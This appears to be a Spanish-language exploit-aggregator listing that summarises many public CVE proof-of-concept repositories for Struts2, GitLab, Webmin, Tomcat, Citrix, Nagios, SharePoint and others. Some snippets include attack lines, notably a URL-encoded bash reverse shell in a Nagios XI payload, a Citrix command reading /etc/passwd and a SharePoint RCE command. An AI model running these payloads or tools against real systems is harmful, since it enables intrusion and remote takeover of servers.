CVE-2021-31805

CVE-2021-31805 1. Introducción Vulnerabilidad de ejecución remota de comandos de Struts2 CVE-2020-17530 y CVE-2021-31805 POC&EXP 2. Uso Introducción de parámetros root@kitploit: -u 目标url -m dnslog|exp //默认有回显界面字符检查 -n s2-062 //默认s2-061 -s windows //默认linux -p 漏洞参数 Detección con respuesta visible...

GitLab-CVE-2021-22205-

Impacto de la vulnerabilidad Se ha descubierto un problema en GitLab CE/EE que afecta a todas las versiones desde la 11.9. GitLab no validaba correctamente los archivos de imagen que se pasaban a un analizador de archivos, lo que provocaba la ejecución remota de comandos. Versión afectada Gitlab...

CVE-2021-31762

CSRF-to-RCE ..| CVE-2021-31762 |.. Descripción : Explotando un ataque de falsificación de petición en sitios cruzados CSRF para crear un usuario privilegiado a través de la función de añadir usuarios de Webmin y luego obtener una shell inversa a través de la función de procesos en ejecución de...

CVE-2025-24813-PoC-exploit

CVE-2025-24813-PoC-exploit Apache Tomcat Deserialización RCE root@kitploit: ❯ python3 exploit.py http://localhost:8080/ "id" ============================================================ CVE-2025-24813 - Apache Tomcat RCE mediante PUT Parcial...

Blackash-CVE-2025-12762

🔐 CVE-2025-12762 — Vulnerabilidad Crítica de RCE en pgAdmin 4 🚨 ¿Cuál es el problema? Existe una falla de Ejecución Remota de Código RCE en pgAdmin 4 versiones ≤ 9.9. Los atacantes pueden ejecutar comandos arbitrarios en el host cuando pgAdmin se ejecuta en modo servidor y procesa un volcado SQL ...

CVE-2021-31761

CVE-2021-31761 Descripción : Explotación de un ataque de Cross-Site Scripting XSS reflejado para obtener una Ejecución Remota de Comandos RCE a través de la función de procesos en ejecución de Webmin Versión probada : Webmin 1.973 última versión en GitHub 07/03/2021 Tipo de ataque: Remoto Impacto...

CVE-2024-7954

CVE-2024-7954 Este exploit intentará ejecutar comandos del sistema en objetivos SPIP CVE-2024-7954. Visión general Esta es una herramienta de escaneo y explotación masiva para CVE-2024-7954: SPIP 4.2.8 permite a atacantes no autenticados lanzar RCE en objetivos SPIP. Esta herramienta está basada ...

CVE-2014-6271

CVE-2014-6271 Shellshock Exploit en Python Una implementación limpia, eficiente e interactiva en Python diseñada para probar la vulnerabilidad Shellshock CVE-2014-6271 mediante inyección de variables de entorno HTTP. 📝 Descripción Shellshock CVE-2014-6271 es una vulnerabilidad crítica de segurida...

CVE-2019-19781

CVE-2019-19781 Exploit de Ejecución Remota de Código para Citrix Application Delivery Controller y Citrix Gateway CVE-2019-19781 Uso : bash CVE-2019-19781.sh IPOFVULNURABLEHOST COMMANDTOEXECUTE ejemplo : bash CVE-2019-19781.sh XX.XX.XX.XX 'cat /etc/passwd'...

CVE-2023-4450-Attack

CVE-2023-4450-Attack Herramienta automatizada para explotar la vulnerabilidad CVE-2023-4450 en JimuReport Introducción ¡Esta herramienta solo debe usarse para pruebas de seguridad, no para fines ilegales! Usage root@kitploit: java -jar CVE-2023-4450-Attack.jar Ofrece tres funciones: ejecución de...

cve-2016-1555

Descripción El módulo aprovecha una vulnerabilidad de ejecución arbitraria de comandos sin autenticación en Netgear WN604 anterior a 3.3.3 y WN802Tv2, WNAP210v2, WNAP320, WNDAP350, WNDAP360 y WNDAP660 anterior a 3.5.5.0. La vulnerabilidad ocurre en cómo el router maneja las solicitudes POST desde...

cve-2026-26114-poc

CVE-2026-26114 Solo para uso en laboratorio o sistemas autorizados para pruebas. PoC en Python root@kitploit: pip install requests requests-ntlm python poc/cve202626114rce.py ^ --target http://sharepoint.local ^ --username spuser1 ^ --password "Password123!" ^ --domain SP19 ^ --cmd "cmd /c whoami...

CVE-2022-42889

Aplicación de prueba CVE-2022-42889 Este repositorio contiene una aplicación simple que utiliza Apache Commons Text 1.10, la cual es vulnerable a CVE-2022-42889. Ejecución de la aplicación Reemplace el comando nc en DemoApplication.java por la dirección IP de su host. Escuchando con netcat:...

CVE-2011-2523

CVE-2011-2523 Estos son apuntes para la creación de la metodología de ataque en un entorno controlado. Se parte de la premisa que el ejercicio es en caja negra por ende desconozco información del sistema victima 1- descargar ISO necesarios tanto metaexplotable2 como kali o cualquier otra 2-...

firepwner

CVE-2015-6357: Exploit FirePWNER para la vulnerabilidad de validación SSL de Cisco FireSIGHT Management Center Introducción Por sí sola, la Vulnerabilidad de validación de certificados de Cisco FireSIGHT Management Center es una vulnerabilidad de gravedad media con un CVSS de 5.1. Sin embargo, es...

PIL-CVE-2017-8291

Vulnerabilidad de ejecución remota de comandos en Python PIL GhostButt El módulo PIL Pillow para procesar imágenes en Python se ve afectado por la vulnerabilidad GhostButt CVE-2017-8291 porque llama internamente a GhostScript, lo que resulta en una vulnerabilidad de ejecución remota de comandos...

CVE-2019-20197

CVE-2019-20197 Vulnerabilidad de ejecución remota de comandos en Nagios XI = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite...

f5scan

f5scan Escáner F5 BIG IP para CVE-2020-5902 por bt0 Más información sobre la vulnerabilidad: https://support.f5.com/csp/article/K52145254?sf235665517=1 Requisitos: python3+ shodan colorama urlopen pyOpenSSL $ pip3 install -r requirements Opciones root@kitploit: -h, --help muestra este mensaje de...

CVE-2024-24576-PoC-Python

CVE-2024-24576-Poc-Python Un POC rápido para la vulnerabilidad revelada aquí https://flatt.tech/research/posts/batbadbut-you-cant-securely-execute-commands-on-windows/ Después de ejecutar el script, se solicitará un argumento para pasar al archivo BAT. En la captura de pantalla se puede ver que a...

CVE-2025-24813

CVE-2025-24813 Script de Prueba de Concepto PoC para CVE-2025-24813, vulnerabilidad en Apache Tomcat. El script ha sido modificado basándose en el enlace relacionado y adaptado a mis necesidades. Configuración del Entorno Tomcat Vulnerable Entorno basado en la imagen oficial de Tomcat 9.0.90...